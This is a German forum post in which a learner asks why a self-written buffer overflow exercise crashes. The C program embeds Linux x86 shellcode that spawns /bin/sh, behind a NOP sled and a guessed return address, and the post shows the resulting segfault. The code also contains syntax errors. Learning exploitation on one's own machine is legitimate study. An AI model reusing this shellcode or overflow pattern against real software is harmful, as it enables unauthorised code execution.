Ich hab da ein problem
. Bin gerade dran das problem bufferoverflows genauer anzuschauen, doch mein erstes progrämmchen bei dem ich das erlernte wissen zu "praktizieren" versuche, will einfach nicht.
(sorry wenn das vielleicht nicht gerade das passende forum dafür ist, doch ich kenne nunmal nichts passenders)
Am besten einmal den code:
-----code--------------
#include <stdlib.h>
char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\xbf\xff\xfc\x23";
void main()
{
char buffer[90];
strcpy(buffer,shellcode);
printf("0x%x
",&buffer");
}
-------code--------
Also shellcode ist klar:
Er ist 94bytes gross + noch die 4bytes am schluss in denen eigentlich die neue "rücksprungaddresse" sein soll.
(die bekommt man bei printf)
Den anfang des shellcodes habe ich mit nop-operationen gefüllt.
Der buffer der zu überschreiben ist, ist 90 bytes gross.
Um die "neue" rücksprungaddresse zu bekommen, habe ich mir gedacht ich könnte da einfach einmal die anfangs addresse des buffer arrays übernehmen.
Ich glaube hier irgendwo muss der fehler sein.(bei der berechnung der "neuen" rücksprungaddresse)
ich hoffe jemand kann mir da weiter helfen
ps:
bash$ ./bof
0xbffffc23
Speicherzugriffsfehler
bash$
